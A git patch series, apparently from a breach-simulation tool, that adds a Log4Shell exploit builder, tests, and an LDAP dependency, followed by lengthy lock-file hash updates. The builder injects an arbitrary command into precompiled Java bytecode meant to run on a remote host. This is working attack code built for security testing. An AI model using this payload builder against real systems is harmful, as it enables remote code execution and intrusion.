From 68978907e2b09dc5def8841dfb26b38457700ec3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Dec 2021 13:32:43 -0500 Subject: [PATCH 01/77] Agent: Add build_exploit_bytecode for log4shell exploiter --- .../log4shell_utils/Exploit.class.template | Bin 0 -> 462 bytes .../exploit/log4shell_utils/__init__.py | 1 + .../log4shell_utils/exploit_builder.py | 62 ++++++++++++++++++ .../MissingTag.class | Bin 0 -> 460 bytes .../SourceCode.java | 5 ++ .../log4shell_utils/test_exploit_builder.py | 33 ++++++++++ 6 files changed, 101 insertions(+) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/__init__.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py create mode 100644 monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class create mode 100644 monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/SourceCode.java create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template new file mode 100644 index 0000000000000000000000000000000000000000..9160de8adf930ed7f9b1b4bc748512642e77d189 GIT binary patch literal 462 zcmZXQO;5r=5Qg6^g@sza#cxbV4}u4|c!PK$co9D$M$cv4kj2uHvKao6XD(_y_yhb= z#%V)<#68UH%=^4E+5P$b`UY^0V+$Nb3ni4(*p70AV~1mxV~-)#R=&~~42gQF)6!KC$iiE6q=#9Zr#s(t;V#? z8cMw?D)mP1AJd{|$+;8^C-n`ruS4YzTbqWvFc5M&ZJ~w~eOh!3(A$xrXi-(A%qS;M zKfo4rVc4RWiklH=uh33x1#+J-N{M%vPj4`<7BQJ2E=hXi%^^Y2BwrF)nv|uA!{~8R K2+mV!pzsG1(OP2w literal 0 HcmV?d00001 diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py new file mode 100644 index 000000000..b978afa59 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -0,0 +1 @@ +from .exploit_builder import build_exploit_bytecode, InvalidExploitTemplateError diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py new file mode 100644 index 000000000..5cbc3b9e7 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py @@ -0,0 +1,62 @@ +import struct +from pathlib import Path + +EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "Exploit.class.template" +INJECTION_TAG = "###" + + +class InvalidExploitTemplateError(Exception): + pass + + +def build_exploit_bytecode( + payload_command: str, exploit_template_path: Path = EXPLOIT_TEMPLATE_PATH +) -> bytes: + """ + Build a payload used to exploit log4shell + :param str payload_command: The command that will be executed on the remote host. + :param Path exploit_template_path: The path to a file containing a pre-compiled Java class with + the placeholder "###". This placeholder will be overwritten + with the contents of payload_command. Defaults to + `EXPLOIT_TEMPLATE_PATH` + :return: Java bytecode that will execute the payload + :rtype: bytes + """ + template_bytecode = _load_template_bytecode(exploit_template_path) + exploit_bytecode = _inject_payload(payload_command, template_bytecode) + + return exploit_bytecode + + +def _load_template_bytecode(exploit_template_path: Path) -> bytes: + with open(exploit_template_path, "rb") as h: + template_bytecode = h.read() + + if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"): + raise InvalidExploitTemplateError( + f"Trying to load non-compiled Java class `{EXPLOIT_TEMPLATE_PATH}`." + ) + + return template_bytecode + + +def _inject_payload(payload: str, template_bytecode: bytes): + payload_bytes = payload.encode() + + if not INJECTION_TAG.encode() in template_bytecode: + raise InvalidExploitTemplateError(f'No "{INJECTION_TAG}" tag to inject payload into.') + + index = template_bytecode.index(INJECTION_TAG.encode()) + + exploit_bytecode = ( + template_bytecode[: index - 3] + + str_size(payload_bytes) + + payload_bytes + + template_bytecode[index + 3 :] + ) + + return exploit_bytecode + + +def str_size(data: bytes) -> bytes: + return b"\x01" + struct.pack("!H", len(data)) diff --git a/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class b/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class new file mode 100644 index 0000000000000000000000000000000000000000..e4192de0d72670cc289aa71b83d53c7d953466de GIT binary patch literal 460 zcmZWlJx>Bb5Pf?b>~S97;x~nrhlLcD5F3Jx_z^K$FYAUZ9(Uw84FAZQMva9(z#nCt zB?L&^VrJgXdv9j<=lAOyz&UCzETlMW4{2l=ibL@#8i5E0jobcE$%G-((xFZ+7*c-y z(S?I7hwEVr9z$tOzn_MQ9w`QQppq4+`t|NVPSZi2?1T`;uIQnJGJ~yVN-~`I8-iXE z>u}KA^tg*7sV0*q$2LP{?cJG4HBNLCa_lhh&TJe+n%1}5(KBsT=;~12Oh Date: Tue, 21 Dec 2021 15:12:50 -0500 Subject: [PATCH 02/77] Agent: Add ldaptor to dependencies --- monkey/infection_monkey/Pipfile | 1 + monkey/infection_monkey/Pipfile.lock | 654 ++++++++++++++++++--------- 2 files changed, 436 insertions(+), 219 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 75a5810a7..7c1d80134 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -31,6 +31,7 @@ ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pypsrp = "*" typing-extensions = "*" +ldaptor = "*" [dev-packages] diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index a9bb7d542..4089b56f3 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "43cdbb12fe6858c82a2fffa8dd1c38292b02dd326d2fa82cc8c1ab48a9d5b262" + "sha256": "3c1d7bd82a9f8e231077101853328f117777710b2e5fbf96c9652216241e6c91" }, "pipfile-spec": 6, "requires": { @@ -54,6 +54,21 @@ "markers": "python_version >= '3.6'", "version": "==0.1.2" }, + "attrs": { + "hashes": [ + "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1", + "sha256:ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==21.2.0" + }, + "automat": { + "hashes": [ + "sha256:7979803c74610e11ef0c0d68a2942b152df52da55336e0c9d58daf1831cbdf33", + "sha256:b6feb6455337df834f6c9962d6ccf771515b7d939bca142b29c20c2376bc6111" + ], + "version": "==20.2.0" + }, "bcrypt": { "hashes": [ "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29", @@ -69,77 +84,82 @@ }, "boto3": { "hashes": [ - "sha256:3d8b1c76a2d40775b3a8a5c457293741641bf3b6b7150e3ad351e584bb50786e", - "sha256:f7e8ce6155a4d4fc23796cb58ea4d28dd4bbb61198a0da8ff2efcbee395c453c" + "sha256:a03ab82efcbf457c36dab4afc545d0ddb72b5140c9993cffc78bc23b8d8baa40", + "sha256:fa686e8e0a0559124aa9f19dcc25e6cc428f18ff11f779bb7346b883b353fdc2" ], "markers": "python_version >= '3.6'", - "version": "==1.18.46" + "version": "==1.20.25" }, "botocore": { "hashes": [ - "sha256:58622d4d84adcbc352d82ab8a7ec512c7af862bcffd3b93225b416a87f46a6a2", - "sha256:a5df461647d1080185e91c3078ab570cc6fc346df05b9decac9fca68c149b7b8" + "sha256:98f8a23ca035edfbd8a8028e624eaf08ba22452dd78ad62eeb03fcd0bbd5f58d", + "sha256:9eb71d5ee1ea335b3968751346601e923c66a7b324b1dc58e360d14e0d2ac136" ], "markers": "python_version >= '3.6'", - "version": "==1.21.46" + "version": "==1.23.25" }, "certifi": { "hashes": [ - "sha256:2bbf76fd432960138b3ef6dda3dde0544f27cbf8546c458e60baf371917ba9ee", - "sha256:50b1e4f8446b06f41be7dd6338db18e0990601dce795c2b1686458aa7e8fa7d8" + "sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872", + "sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569" ], - "version": "==2021.5.30" + "version": "==2021.10.8" }, "cffi": { "hashes": [ - "sha256:06c54a68935738d206570b20da5ef2b6b6d92b38ef3ec45c5422c0ebaf338d4d", - "sha256:0c0591bee64e438883b0c92a7bed78f6290d40bf02e54c5bf0978eaf36061771", - "sha256:19ca0dbdeda3b2615421d54bef8985f72af6e0c47082a8d26122adac81a95872", - "sha256:22b9c3c320171c108e903d61a3723b51e37aaa8c81255b5e7ce102775bd01e2c", - "sha256:26bb2549b72708c833f5abe62b756176022a7b9a7f689b571e74c8478ead51dc", - "sha256:33791e8a2dc2953f28b8d8d300dde42dd929ac28f974c4b4c6272cb2955cb762", - "sha256:3c8d896becff2fa653dc4438b54a5a25a971d1f4110b32bd3068db3722c80202", - "sha256:4373612d59c404baeb7cbd788a18b2b2a8331abcc84c3ba40051fcd18b17a4d5", - "sha256:487d63e1454627c8e47dd230025780e91869cfba4c753a74fda196a1f6ad6548", - "sha256:48916e459c54c4a70e52745639f1db524542140433599e13911b2f329834276a", - "sha256:4922cd707b25e623b902c86188aca466d3620892db76c0bdd7b99a3d5e61d35f", - "sha256:55af55e32ae468e9946f741a5d51f9896da6b9bf0bbdd326843fec05c730eb20", - "sha256:57e555a9feb4a8460415f1aac331a2dc833b1115284f7ded7278b54afc5bd218", - "sha256:5d4b68e216fc65e9fe4f524c177b54964af043dde734807586cf5435af84045c", - "sha256:64fda793737bc4037521d4899be780534b9aea552eb673b9833b01f945904c2e", - "sha256:6d6169cb3c6c2ad50db5b868db6491a790300ade1ed5d1da29289d73bbe40b56", - "sha256:7bcac9a2b4fdbed2c16fa5681356d7121ecabf041f18d97ed5b8e0dd38a80224", - "sha256:80b06212075346b5546b0417b9f2bf467fea3bfe7352f781ffc05a8ab24ba14a", - "sha256:818014c754cd3dba7229c0f5884396264d51ffb87ec86e927ef0be140bfdb0d2", - "sha256:8eb687582ed7cd8c4bdbff3df6c0da443eb89c3c72e6e5dcdd9c81729712791a", - "sha256:99f27fefe34c37ba9875f224a8f36e31d744d8083e00f520f133cab79ad5e819", - "sha256:9f3e33c28cd39d1b655ed1ba7247133b6f7fc16fa16887b120c0c670e35ce346", - "sha256:a8661b2ce9694ca01c529bfa204dbb144b275a31685a075ce123f12331be790b", - "sha256:a9da7010cec5a12193d1af9872a00888f396aba3dc79186604a09ea3ee7c029e", - "sha256:aedb15f0a5a5949ecb129a82b72b19df97bbbca024081ed2ef88bd5c0a610534", - "sha256:b315d709717a99f4b27b59b021e6207c64620790ca3e0bde636a6c7f14618abb", - "sha256:ba6f2b3f452e150945d58f4badd92310449876c4c954836cfb1803bdd7b422f0", - "sha256:c33d18eb6e6bc36f09d793c0dc58b0211fccc6ae5149b808da4a62660678b156", - "sha256:c9a875ce9d7fe32887784274dd533c57909b7b1dcadcc128a2ac21331a9765dd", - "sha256:c9e005e9bd57bc987764c32a1bee4364c44fdc11a3cc20a40b93b444984f2b87", - "sha256:d2ad4d668a5c0645d281dcd17aff2be3212bc109b33814bbb15c4939f44181cc", - "sha256:d950695ae4381ecd856bcaf2b1e866720e4ab9a1498cba61c602e56630ca7195", - "sha256:e22dcb48709fc51a7b58a927391b23ab37eb3737a98ac4338e2448bef8559b33", - "sha256:e8c6a99be100371dbb046880e7a282152aa5d6127ae01783e37662ef73850d8f", - "sha256:e9dc245e3ac69c92ee4c167fbdd7428ec1956d4e754223124991ef29eb57a09d", - "sha256:eb687a11f0a7a1839719edd80f41e459cc5366857ecbed383ff376c4e3cc6afd", - "sha256:eb9e2a346c5238a30a746893f23a9535e700f8192a68c07c0258e7ece6ff3728", - "sha256:ed38b924ce794e505647f7c331b22a693bee1538fdf46b0222c4717b42f744e7", - "sha256:f0010c6f9d1a4011e429109fda55a225921e3206e7f62a0c22a35344bfd13cca", - "sha256:f0c5d1acbfca6ebdd6b1e3eded8d261affb6ddcf2186205518f1428b8569bb99", - "sha256:f10afb1004f102c7868ebfe91c28f4a712227fe4cb24974350ace1f90e1febbf", - "sha256:f174135f5609428cc6e1b9090f9268f5c8935fddb1b25ccb8255a2d50de6789e", - "sha256:f3ebe6e73c319340830a9b2825d32eb6d8475c1dac020b4f0aa774ee3b898d1c", - "sha256:f627688813d0a4140153ff532537fbe4afea5a3dffce1f9deb7f91f848a832b5", - "sha256:fd4305f86f53dfd8cd3522269ed7fc34856a8ee3709a5e28b2836b2db9d4cd69" + "sha256:00c878c90cb53ccfaae6b8bc18ad05d2036553e6d9d1d9dbcf323bbe83854ca3", + "sha256:0104fb5ae2391d46a4cb082abdd5c69ea4eab79d8d44eaaf79f1b1fd806ee4c2", + "sha256:06c48159c1abed75c2e721b1715c379fa3200c7784271b3c46df01383b593636", + "sha256:0808014eb713677ec1292301ea4c81ad277b6cdf2fdd90fd540af98c0b101d20", + "sha256:10dffb601ccfb65262a27233ac273d552ddc4d8ae1bf93b21c94b8511bffe728", + "sha256:14cd121ea63ecdae71efa69c15c5543a4b5fbcd0bbe2aad864baca0063cecf27", + "sha256:17771976e82e9f94976180f76468546834d22a7cc404b17c22df2a2c81db0c66", + "sha256:181dee03b1170ff1969489acf1c26533710231c58f95534e3edac87fff06c443", + "sha256:23cfe892bd5dd8941608f93348c0737e369e51c100d03718f108bf1add7bd6d0", + "sha256:263cc3d821c4ab2213cbe8cd8b355a7f72a8324577dc865ef98487c1aeee2bc7", + "sha256:2756c88cbb94231c7a147402476be2c4df2f6078099a6f4a480d239a8817ae39", + "sha256:27c219baf94952ae9d50ec19651a687b826792055353d07648a5695413e0c605", + "sha256:2a23af14f408d53d5e6cd4e3d9a24ff9e05906ad574822a10563efcef137979a", + "sha256:31fb708d9d7c3f49a60f04cf5b119aeefe5644daba1cd2a0fe389b674fd1de37", + "sha256:3415c89f9204ee60cd09b235810be700e993e343a408693e80ce7f6a40108029", + "sha256:3773c4d81e6e818df2efbc7dd77325ca0dcb688116050fb2b3011218eda36139", + "sha256:3b96a311ac60a3f6be21d2572e46ce67f09abcf4d09344c49274eb9e0bf345fc", + "sha256:3f7d084648d77af029acb79a0ff49a0ad7e9d09057a9bf46596dac9514dc07df", + "sha256:41d45de54cd277a7878919867c0f08b0cf817605e4eb94093e7516505d3c8d14", + "sha256:4238e6dab5d6a8ba812de994bbb0a79bddbdf80994e4ce802b6f6f3142fcc880", + "sha256:45db3a33139e9c8f7c09234b5784a5e33d31fd6907800b316decad50af323ff2", + "sha256:45e8636704eacc432a206ac7345a5d3d2c62d95a507ec70d62f23cd91770482a", + "sha256:4958391dbd6249d7ad855b9ca88fae690783a6be9e86df65865058ed81fc860e", + "sha256:4a306fa632e8f0928956a41fa8e1d6243c71e7eb59ffbd165fc0b41e316b2474", + "sha256:57e9ac9ccc3101fac9d6014fba037473e4358ef4e89f8e181f8951a2c0162024", + "sha256:59888172256cac5629e60e72e86598027aca6bf01fa2465bdb676d37636573e8", + "sha256:5e069f72d497312b24fcc02073d70cb989045d1c91cbd53979366077959933e0", + "sha256:64d4ec9f448dfe041705426000cc13e34e6e5bb13736e9fd62e34a0b0c41566e", + "sha256:6dc2737a3674b3e344847c8686cf29e500584ccad76204efea14f451d4cc669a", + "sha256:74fdfdbfdc48d3f47148976f49fab3251e550a8720bebc99bf1483f5bfb5db3e", + "sha256:75e4024375654472cc27e91cbe9eaa08567f7fbdf822638be2814ce059f58032", + "sha256:786902fb9ba7433aae840e0ed609f45c7bcd4e225ebb9c753aa39725bb3e6ad6", + "sha256:8b6c2ea03845c9f501ed1313e78de148cd3f6cad741a75d43a29b43da27f2e1e", + "sha256:91d77d2a782be4274da750752bb1650a97bfd8f291022b379bb8e01c66b4e96b", + "sha256:91ec59c33514b7c7559a6acda53bbfe1b283949c34fe7440bcf917f96ac0723e", + "sha256:920f0d66a896c2d99f0adbb391f990a84091179542c205fa53ce5787aff87954", + "sha256:a5263e363c27b653a90078143adb3d076c1a748ec9ecc78ea2fb916f9b861962", + "sha256:abb9a20a72ac4e0fdb50dae135ba5e77880518e742077ced47eb1499e29a443c", + "sha256:c2051981a968d7de9dd2d7b87bcb9c939c74a34626a6e2f8181455dd49ed69e4", + "sha256:c21c9e3896c23007803a875460fb786118f0cdd4434359577ea25eb556e34c55", + "sha256:c2502a1a03b6312837279c8c1bd3ebedf6c12c4228ddbad40912d671ccc8a962", + "sha256:d4d692a89c5cf08a8557fdeb329b82e7bf609aadfaed6c0d79f5a449a3c7c023", + "sha256:da5db4e883f1ce37f55c667e5c0de439df76ac4cb55964655906306918e7363c", + "sha256:e7022a66d9b55e93e1a845d8c9eba2a1bebd4966cd8bfc25d9cd07d515b33fa6", + "sha256:ef1f279350da2c586a69d32fc8733092fd32cc8ac95139a00377841f59a3f8d8", + "sha256:f54a64f8b0c8ff0b64d18aa76675262e1700f3995182267998c31ae974fbc382", + "sha256:f5c7150ad32ba43a07c4479f40241756145a1f03b43480e058cfd862bf5041c7", + "sha256:f6f824dc3bce0edab5f427efcfb1d63ee75b6fcb7282900ccaf925be84efb0fc", + "sha256:fd8a250edc26254fe5b33be00402e6d287f562b6a5b2152dec302fa15bb3e997", + "sha256:ffaa5c925128e29efbde7301d8ecaf35c8c60ffbcd6a1ffd3a552177c8e5e796" ], "index": "pypi", - "version": "==1.14.6" + "version": "==1.15.0" }, "chardet": { "hashes": [ @@ -151,11 +171,11 @@ }, "charset-normalizer": { "hashes": [ - "sha256:5d209c0a931f215cee683b6445e2d77677e7e75e159f78def0db09d68fafcaa6", - "sha256:5ec46d183433dcbd0ab716f2d7f29d8dee50505b3fdb40c6b985c7c4f5a3591f" + "sha256:1eecaa09422db5be9e29d7fc65664e6c33bd06f9ced7838578ba40d58bdf3721", + "sha256:b0b883e8e874edfdece9c28f314e3dd5badf067342e42fb162203335ae61aa2c" ], "markers": "python_version >= '3'", - "version": "==2.0.6" + "version": "==2.0.9" }, "cheroot": { "hashes": [ @@ -183,11 +203,11 @@ }, "click": { "hashes": [ - "sha256:8c04c11192119b1ef78ea049e0a6f0463e4c48ef00a30160c704337586f3ad7a", - "sha256:fba402a4a47334742d782209a7c79bc448911afe1149d07bdabdf480b3e2f4b6" + "sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3", + "sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b" ], "markers": "python_version >= '3.6'", - "version": "==8.0.1" + "version": "==8.0.3" }, "colorama": { "hashes": [ @@ -204,6 +224,13 @@ ], "version": "==10.0" }, + "constantly": { + "hashes": [ + "sha256:586372eb92059873e29eba4f9dec8381541b4d3834660707faf8ba59146dfc35", + "sha256:dd2fa9d6b1a51a83f0d7dd76293d734046aa176e384bf6e33b7e44880eb37c5d" + ], + "version": "==15.1.0" + }, "cryptography": { "hashes": [ "sha256:05b3ded5e88747d28ee3ef493f2b92cbb947c1e45cf98cfef22e6d38bb67d4af", @@ -247,11 +274,11 @@ }, "flask": { "hashes": [ - "sha256:1c4c257b1892aec1398784c63791cbaa43062f1f7aeb555c4da961b20ee68f55", - "sha256:a6209ca15eb63fc9385f38e452704113d679511d9574d09b2cf9183ae7d20dc9" + "sha256:7b2fb8e934ddd50731893bdcdb00fc8c0315916f9fcd50d22c7cc1a95ab634e2", + "sha256:cb90f62f1d8e4dc4621f52106613488b5ba826b2e1e10a33eac92f723093ab6a" ], "markers": "python_version >= '3.6'", - "version": "==2.0.1" + "version": "==2.0.2" }, "future": { "hashes": [ @@ -274,20 +301,27 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", "version": "==10.0" }, + "hyperlink": { + "hashes": [ + "sha256:427af957daa58bc909471c6c40f74c5450fa123dd093fc53efd2e91d2705a56b", + "sha256:e6b14c37ecb73e89c77d78cdb4c2cc8f3fb59a885c5b3f819ff4ed80f25af1b4" + ], + "version": "==21.0.0" + }, "idna": { "hashes": [ - "sha256:14475042e284991034cb48e06f6851428fb14c4dc953acd9be9a5e95c7b6dd7a", - "sha256:467fbad99067910785144ce333826c71fb0e63a425657295239737f7ecd125f3" + "sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff", + "sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d" ], "markers": "python_version >= '3'", - "version": "==3.2" + "version": "==3.3" }, "impacket": { "hashes": [ - "sha256:1c1be8a50cdbe3cffc566ba64f552b1b28bcc79b7a406b833956b49c56d77184" + "sha256:18d557d387f4914fafa739813b9172bc3f8bd9c036e93bf589a8e0ebb7304bba" ], "index": "pypi", - "version": "==0.9.23" + "version": "==0.9.24" }, "importlib-metadata": { "hashes": [ @@ -297,6 +331,21 @@ "index": "pypi", "version": "==4.0.1" }, + "importlib-resources": { + "hashes": [ + "sha256:33a95faed5fc19b4bc16b29a6eeae248a3fe69dd55d4d229d2b480e23eeaad45", + "sha256:d756e2f85dd4de2ba89be0b21dba2a3bbec2e871a42a3a16719258a11f87506b" + ], + "markers": "python_version < '3.9'", + "version": "==5.4.0" + }, + "incremental": { + "hashes": [ + "sha256:02f5de5aff48f6b9f665d99d48bfc7ec03b6e3943210de7cfc88856d755d6f57", + "sha256:92014aebc6a20b78a8084cdd5645eeaa7f74b8933f70fa3ada2cfbd1e3b54321" + ], + "version": "==21.3.0" + }, "ipaddress": { "hashes": [ "sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc", @@ -331,27 +380,27 @@ }, "jaraco.functools": { "hashes": [ - "sha256:7c788376d69cf41da675b186c85366fe9ac23c92a70697c455ef9135c25edf31", - "sha256:bfcf7da71e2a0e980189b0744b59dba6c1dcf66dcd7a30f8a4413e478046b314" + "sha256:141f95c490a18eb8aab86caf7a2728f02f604988a26dc36652e3d9fa9e4c49fa", + "sha256:31e0e93d1027592b7b0bec6ad468db850338981ebee76ba5e212e235f4c7dda0" ], - "markers": "python_version >= '3.6'", - "version": "==3.3.0" + "markers": "python_version >= '3.7'", + "version": "==3.5.0" }, "jaraco.text": { "hashes": [ - "sha256:dc900b7916cefdaf943fbd43870abc8b0a6ff68f2c8c33e212fd51139219f68d", - "sha256:ede4e9103443b62b3d1d193257dfb85aab7c69a6cef78a0887d64bb307a03bc3" + "sha256:901d3468eaaa04f1d8a8f141f54b8887bfd943ccba311fc1c1de62c66604dfe0", + "sha256:d1506dec6485fbaaaedf98b678f1228f639c8d50fbfa12ffc2594cfc495a2476" ], "markers": "python_version >= '3.6'", - "version": "==3.5.1" + "version": "==3.6.0" }, "jinja2": { "hashes": [ - "sha256:1f06f2da51e7b56b8f238affdd6b4e2c61e39598a378cc49345bc1bd42a978a4", - "sha256:703f484b47a6af502e743c9122595cc812b0271f661722403114f71a79d0f5a4" + "sha256:077ce6014f7b40d03b47d1f1ca4b0fc8328a692bd284016f806ed0eaca390ad8", + "sha256:611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7" ], "markers": "python_version >= '3.6'", - "version": "==3.0.1" + "version": "==3.0.3" }, "jmespath": { "hashes": [ @@ -379,11 +428,20 @@ ], "version": "==0.9.3" }, + "ldaptor": { + "hashes": [ + "sha256:70521851c74b67b340619fc58bb7105619714e40287309572edb6e86f6d75bd0", + "sha256:8c49eb19375d4aab3e5b835860614e0cb17e56bb5a20e1874808fa5bec67a358" + ], + "index": "pypi", + "version": "==21.2.0" + }, "markupsafe": { "hashes": [ "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298", "sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64", "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b", + "sha256:04635854b943835a6ea959e948d19dcd311762c5c0c6e1f0e16ee57022669194", "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567", "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff", "sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724", @@ -391,6 +449,7 @@ "sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646", "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35", "sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6", + "sha256:20dca64a3ef2d6e4d5d615a3fd418ad3bde77a47ec8a23d984a12b5b4c74491a", "sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6", "sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad", "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26", @@ -398,27 +457,36 @@ "sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac", "sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7", "sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6", + "sha256:4296f2b1ce8c86a6aea78613c34bb1a672ea0e3de9c6ba08a960efe0b0a09047", "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75", "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f", + "sha256:4dc8f9fb58f7364b63fd9f85013b780ef83c11857ae79f2feda41e270468dd9b", "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135", "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8", "sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a", "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a", + "sha256:5b6d930f030f8ed98e3e6c98ffa0652bdb82601e7a016ec2ab5d7ff23baa78d1", "sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9", "sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864", "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914", + "sha256:6300b8454aa6930a24b9618fbb54b5a68135092bc666f7b06901f897fa5c2fee", + "sha256:63f3268ba69ace99cab4e3e3b5840b03340efed0948ab8f78d2fd87ee5442a4f", "sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18", "sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8", "sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2", "sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d", "sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b", "sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b", + "sha256:89c687013cb1cd489a0f0ac24febe8c7a666e6e221b783e53ac50ebf68e45d86", + "sha256:8d206346619592c6200148b01a2142798c989edcb9c896f9ac9722a99d4e77e6", "sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f", "sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb", "sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833", "sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28", + "sha256:9f02365d4e99430a12647f09b6cc8bab61a6564363f313126f775eb4f6ef798e", "sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415", "sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902", + "sha256:aca6377c0cb8a8253e493c6b451565ac77e98c2951c45f913e0b52facdcff83f", "sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d", "sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9", "sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d", @@ -426,10 +494,14 @@ "sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066", "sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c", "sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1", + "sha256:cdfba22ea2f0029c9261a4bd07e830a8da012291fbe44dc794e488b6c9bb353a", + "sha256:d6c7ebd4e944c85e2c3421e612a7057a2f48d478d79e61800d81468a8d842207", "sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f", "sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53", + "sha256:deb993cacb280823246a026e3b2d81c493c53de6acfd5e6bfe31ab3402bb37dd", "sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134", 